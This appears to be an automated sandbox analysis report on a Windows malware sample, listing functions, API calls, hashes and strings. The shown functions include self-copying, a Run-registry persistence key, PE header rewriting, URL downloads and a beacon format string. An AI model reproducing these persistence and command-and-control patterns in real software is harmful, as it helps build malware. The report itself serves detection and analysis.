Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Open
String ID: Build$SOFTWARE\Microsoft\Internet Explorer$w,@
API String ID: 71445658-3061378640
Opcode ID: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction ID: 930cfdd3d9e2cf302383723a85cc45ac24d6ba1b6d45bcf7a76994dd36721e6e
Opcode Fuzzy Hash: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction Fuzzy Hash: FBE08672664218FAEF009B929C07FDA77ACDB00758F20086AF502F10C1DAB5F714D6AC

Function 0040848F Relevance: 6.1, APIs: 4, Instructions: 81memoryregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

Part of subcall function 0040845D: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000008,00000000,?,?,004084C5,?,?,?,00000008,?,00403796,?), ref: 00408475
Part of subcall function 0040845D: RegCloseKey.ADVAPI32(?,?,004084C5,?,?,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408484

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408524
GetProcessHeap.KERNEL32(00000000,00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408534
HeapFree.KERNEL32(00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 0040853B

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Heap$CloseEnvironmentExpandFreeOpenProcessQueryStringsValue
String ID:
API String ID: 3604167287-0
Opcode ID: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction ID: 704a8cbe2313c99ccb7bf4cac6d27c9c5720caa44ca6f9902b9fd9ccb38d811f
Opcode Fuzzy Hash: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction Fuzzy Hash: 0521C871900626BBDF205B748E45ABF3668EF05328F10063EF561F22D0EB758D508658

Function 00409581 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

CharLowerW.USER32(00408E44,00000000,00000000,?,00408E44,00408795), ref: 004095A4
CharLowerW.USER32(00408795), ref: 004095D8
SysFreeString.OLEAUT32(00408795), ref: 00409608
SysFreeString.OLEAUT32(00408E44), ref: 0040960D

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CharFreeLowerString
String ID:
API String ID: 2335467167-0
Opcode ID: a9b2d518bc86f0d25b60cd0557e0d7d5801712bcf914245b10683875f4897775
Instruction ID: 6911929459278785efe31e607170db17e103bee024a9a22ae291265c1613d99e
Opcode Fuzzy Hash: a9b2d518bc86f0d25b60cd0557e0d7d5801712bcf914245b10683875f4897775
Instruction Fuzzy Hash: 20116D72D00108BBDB019F9ADC85B9E7BB8EF44305F1544BAE405F21A1D779AE409F44

Function 004072ED Relevance: 6.0, APIs: 4, Instructions: 42timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,00000000), ref: 004072F9
SystemTimeToFileTime.KERNEL32(?,?), ref: 00407337
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 00407341
__aulldiv.LIBCMT ref: 00407359

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Time$System$File$__aulldiv
String ID:
API String ID: 3735792614-0
Opcode ID: 4f6d7255259d029fcefee0a6ef84dda989e1e538c9ce85064cb776bb0b095d3e
Instruction ID: 0875687ad9f8fbdff1f190dbab39d4211c2ed1a8acd2afdabfbd9ccbaffc37b8
Opcode Fuzzy Hash: 4f6d7255259d029fcefee0a6ef84dda989e1e538c9ce85064cb776bb0b095d3e
Instruction Fuzzy Hash: 83011A66D2022DAACF00DBE5DD44CEFB7BCFF44344B04051AE901B3210E7B5A648CBA9

Function 00408091 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004081A3

Strings

-, xrefs: 00408140

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: -
API String ID: 885266447-2547889144
Opcode ID: 9768e3a2316649ce80f3092f0a8653cf88643bc84f5cb20062fd1d2db9b0b25f
Instruction ID: cbf3f064ca1262f0759db58cdf0f181467b31290bd4ebff5f053a9a619aca6df
Opcode Fuzzy Hash: 9768e3a2316649ce80f3092f0a8653cf88643bc84f5cb20062fd1d2db9b0b25f
Instruction Fuzzy Hash: 58415D31D0422699CB2177B98E417BB61A9DF44758F1440BFF9C0B72C2EEBC5D8581AE

Function 00409837 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409868
SysAllocString.OLEAUT32(?), ref: 00409876

Strings

"URL", xrefs: 00409838

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AllocString
String ID: "URL"
API String ID: 2525500382-1734660058
Opcode ID: dde5973fb88290fc179560dd033cd143229de4e8b937af87662ad62248fcd5ae
Instruction ID: a1d8355846c3e17605cb56d648b2f311708773d78851072204e2f77cd01d539a
Opcode Fuzzy Hash: dde5973fb88290fc179560dd033cd143229de4e8b937af87662ad62248fcd5ae
Instruction Fuzzy Hash: E9F0A77650011997CF00AF64CC00ED637E9BB84348F0444B7E904E7240D974D9058F54

Function 004097BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004097ED
SysAllocString.OLEAUT32(?), ref: 004097FB

Strings

"domain", xrefs: 004097BD

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AllocString
String ID: "domain"
API String ID: 2525500382-3540696003
Opcode ID: 8e4162beac9bb0746109323da30f0d67e223eba2bd2c583220c59dcd4726db76
Instruction ID: 2ab7b57618223888890007651f958d72a6f850cfddda49e7e7e9e9b765f43e97
Opcode Fuzzy Hash: 8e4162beac9bb0746109323da30f0d67e223eba2bd2c583220c59dcd4726db76
Instruction Fuzzy Hash: AEF0A776500119ABCF00AF64CC04ED677E8BB84308F1444A7F908E7240EA7499058F50

Analysis Process: omsecor.exePID: 3868, Parent PID: 6644COMMON

Executed Functions

Function 0040ABD9 Relevance: 3.0, APIs: 2, Instructions: 26fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,?,?, /nomove,?,0040AB30,?), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,?,?, /nomove,?,0040AB30,?), ref: 0040AC72

FindFirstFileW.KERNEL32(?,00000000), ref: 0040AC03
FindClose.KERNEL32(00000000), ref: 0040AC0F

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: FindOpen$CloseFileFirst
String ID:
API String ID: 3155378417-0
Opcode ID: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction ID: fa0310e4c65bbc590993533f650c85f5e3ee77ef27cd51fa1c8f473dbf319076
Opcode Fuzzy Hash: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction Fuzzy Hash: 5DE0D87160C7044BE220E7B49D0C967B3DCAB45325F000F36A9B6E20C0FA38D46A465F

Function 0040B346 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 153sleepfileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B36C
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B39D

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

GetLastError.KERNEL32(00000004), ref: 0040B3CA
Sleep.KERNEL32(00002710), ref: 0040B3F7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B413
CopyFileW.KERNEL32(?,?,00000000), ref: 0040B435
ExitProcess.KERNEL32 ref: 0040B44D

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,?,?, /nomove,?,0040AB30,?), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,?,?, /nomove,?,0040AB30,?), ref: 0040AC72

GetLastError.KERNEL32(00000004), ref: 0040B48D
GetLastError.KERNEL32(00000004), ref: 0040B49A
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 0040B4C7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B4D7
GetLastError.KERNEL32(00000004), ref: 0040B500

Strings

opeqmc.exe, xrefs: 0040B36E
IueiOod, xrefs: 0040B3A8
/nomove, xrefs: 0040B4D9
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040B3AD

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: File$ErrorLastModuleName$Open$CopyCreateEnvironmentExitExpandProcessSleepStrings
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$opeqmc.exe
API String ID: 3692109554-477663111
Opcode ID: 5dcf4e451e470d8890dd4ade5d76f00a0e3579805ce90c0beb9d6229d45a20ee
Instruction ID: ccf8aad4361994264e72a39918ed7d53ff083e628d4a69ee62a5d407c68d8035
Opcode Fuzzy Hash: 5dcf4e451e470d8890dd4ade5d76f00a0e3579805ce90c0beb9d6229d45a20ee
Instruction Fuzzy Hash: 8C4127719042186AE710B7A19D46FAB73ACEF04345F14447BBB05F11C2EB789A548AAF

Function 004075D4 Relevance: 22.6, APIs: 15, Instructions: 128filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004075FC
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618
GetFileSize.KERNEL32(?,00000000), ref: 0040762E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407638
RtlAllocateHeap.NTDLL(00000000), ref: 0040763F
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00407660
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040767F
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 00407691
ReadFile.KERNEL32(?,?,00000040,?,00000000), ref: 004076A1
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 004076AF
ReadFile.KERNEL32(?,?,000000F8,?,00000000), ref: 004076C5
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 004076EF
WriteFile.KERNEL32(?,?,000000F8,?,00000000), ref: 00407705
CloseHandle.KERNEL32(?), ref: 00407714
CloseHandle.KERNEL32(?), ref: 00407719

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: File$PointerRead$CloseCreateHandleHeapWrite$AllocateProcessSize
String ID:
API String ID: 2296163861-0
Opcode ID: 31584969f0d8c824f09f907cde1219f0f1ba332f2ad8a455396c3ebe95af8835
Instruction ID: 7ae3b020874f099f6a4231377d147a855b3f50186be4225f3fece46b7b724b47
Opcode Fuzzy Hash: 31584969f0d8c824f09f907cde1219f0f1ba332f2ad8a455396c3ebe95af8835
Instruction Fuzzy Hash: F0416A71901028BADB209BA2DD48EEFBF7DEF45390F104476F619F21A0D7709A10DB64

Function 00409C99 Relevance: 15.1, APIs: 10, Instructions: 127memorynetworkfileCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,?,00000000,04400000,00000000), ref: 00409CCB
GetProcessHeap.KERNEL32(00000000,00002001,?,?,?,00406FE2,?,?,?,00000000,?,?,00000000,00000000), ref: 00409CF4
RtlAllocateHeap.NTDLL(00000000,?,00406FE2), ref: 00409CF7
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00409D6E
GetProcessHeap.KERNEL32(00000000,00000002,?,00406FE2,?,?,?,00000000,?,?,00000000,00000000), ref: 00409D80
RtlAllocateHeap.NTDLL(00000000,?,00406FE2), ref: 00409D83
GetProcessHeap.KERNEL32(00000000,00000000,?,00406FE2,?,?,?,00000000,?,?,00000000,00000000), ref: 00409DE3
HeapFree.KERNEL32(00000000,?,00406FE2,?,?,?,00000000,?,?,00000000,00000000), ref: 00409DE6

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Heap$Process$AllocateInternet$FileFreeOpenRead
String ID:
API String ID: 1606433043-0
Opcode ID: ee70a092113cb82a66864aea72d7e922ec5dd955c6bc6ddcba87379bbd99d211
Instruction ID: 638041e7f74e2b46c75c1535d5ef76f15aa532bf5b3977fbb34850ab96fc5943
Opcode Fuzzy Hash: ee70a092113cb82a66864aea72d7e922ec5dd955c6bc6ddcba87379bbd99d211
Instruction Fuzzy Hash: 1B418B71900209FFEB119F65C844BAA7BA9FF44355F14847AF819E6292E778CE80CF54

Function 00406E69 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 130COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00406E78

Strings

Via: , xrefs: 00406FAF
Page generated at: , xrefs: 00407000
^nocrypt, xrefs: 00406F5C
0, xrefs: 00406EF5
.html, xrefs: 00406F14
^key=, xrefs: 00406F2E
From: , xrefs: 00406F8E

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CountTick
String ID: .html$0$From: $Page generated at: $Via: $^key=$^nocrypt
API String ID: 536389180-3563684505
Opcode ID: 4fe78ffc506b949ed18c1779bc78ee1e5113d94c3b4afea5b4e77ea3237f9061
Instruction ID: 73e0daeea7a9f5f4b783dd0519eebdf5205f1bdf48cad4214514e0173d2ce6b9
Opcode Fuzzy Hash: 4fe78ffc506b949ed18c1779bc78ee1e5113d94c3b4afea5b4e77ea3237f9061
Instruction Fuzzy Hash: 27416131A0161997CB25EBA2DC51BDE7369FF44308F0044BFB909B71C1EA78AE948F59

Function 0040A786 Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 121sleepmemoryCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710,?,00000000), ref: 0040A7A3
Sleep.KERNEL32(0000EA60,?,?,00000000), ref: 0040A899
Sleep.KERNELBASE(00002710,?,?,?,?,?,?,00000000), ref: 0040A8CC
GetProcessHeap.KERNEL32(00000000,Iy@,?,?,?,?,?,?,00000000), ref: 0040A8E5
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 0040A8EC

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Strings

Iy@, xrefs: 0040A7F8, 0040A880
0, xrefs: 0040A848
confirm^rev=%s^code=%s^param=%s^os=%s, xrefs: 0040A7BA
Iy@, xrefs: 0040A8B5, 0040A8E1

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Sleep$Heap$AttemptConnectFreeInternetProcess
String ID: 0$Iy@$Iy@$confirm^rev=%s^code=%s^param=%s^os=%s
API String ID: 3100629401-635595758
Opcode ID: e21f1483a08a9e9c02d775bbc8488e60abd853dd32556b7f820d3b87ce5a4a2c
Instruction ID: 7defdabbc875a2827947a9af70fbac2689cb4d570e6f2fffa55db425585f7fd8
Opcode Fuzzy Hash: e21f1483a08a9e9c02d775bbc8488e60abd853dd32556b7f820d3b87ce5a4a2c
Instruction Fuzzy Hash: C0418372D00618AACB11EBE1DC859DF73BCEF44304F10847BF505B6181EA789A558F9E

Function 0040782A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60filetimeCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,?,UniqueNum), ref: 0040784D
CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407864
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00407879
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00407880
GetTickCount.KERNEL32 ref: 00407888

Strings

UniqueNum, xrefs: 00407836

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: File$ChangeCloseCountCreateFindModuleNameNotificationTickTime
String ID: UniqueNum
API String ID: 341939912-3816303966
Opcode ID: 4a1b5587f638b287927dc25e9214ab530ecb830b1a0472cd12236f6b46158c61
Instruction ID: 2f8cc66c71eb5b32faf52737d8a911681d4da4e376004c23895cdbe2f04b10ac
Opcode Fuzzy Hash: 4a1b5587f638b287927dc25e9214ab530ecb830b1a0472cd12236f6b46158c61
Instruction Fuzzy Hash: AE110633419220ABD210AB65EC4CA9B7FACEF45760F004A3AF964E21D0D6349211C7AB

Function 00407E2B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 54fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,UniqueNum), ref: 00407E5C
ReadFile.KERNEL32(?,00000064,00000000,00000000), ref: 00407E74

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,?,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

x, xrefs: 00407E86
d, xrefs: 00407E7E
UniqueNum, xrefs: 00407E38

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: File$CreateModuleNamePointerRead
String ID: UniqueNum$d$x
API String ID: 1528952607-727609663
Opcode ID: e781d678688d42d7516b702b2ceb6c7207e197dfbc75e9fa72b18e73f6410cb1
Instruction ID: 0df55d11f519ebf6f0451cc58b4543fb7278309a9039aac926228ebb90f40a66
Opcode Fuzzy Hash: e781d678688d42d7516b702b2ceb6c7207e197dfbc75e9fa72b18e73f6410cb1
Instruction Fuzzy Hash: 5311A531D09308AADF109B61DD05BDB3B6AAB00324F218676E612F61E0E7749D44CBAE

Function 0040AC20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,?,?, /nomove,?,0040AB30,?), ref: 0040AC44
RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,?,?, /nomove,?,0040AB30,?), ref: 0040AC72

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(?,00000000,00000000,00000000,?,00000000,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(?,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069ED

Strings

IueiOod, xrefs: 0040AC50, 0040AC82
/nomove, xrefs: 0040AC23
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040AC39, 0040AC3E, 0040AC6C

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Open$CloseQueryValue
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run
API String ID: 3546245721-4228964922
Opcode ID: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction ID: 3bac8edf5f415b784fe4546894dc74dc09b9405a13c640cee1cd261e7a9a2bb6
Opcode Fuzzy Hash: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction Fuzzy Hash: 5F01867265430EFEFF1096919D42F9A736CDB40768F210036FA00B60D1D6B6AE155779

Function 0040AAFD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 0040AB0A
GetModuleFileNameW.KERNEL32(00000000,?,00000820), ref: 0040AB44
CharLowerW.USER32(?), ref: 0040AB57
CharLowerW.USER32(?), ref: 0040AB60

Strings

/nomove, xrefs: 0040AB10

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
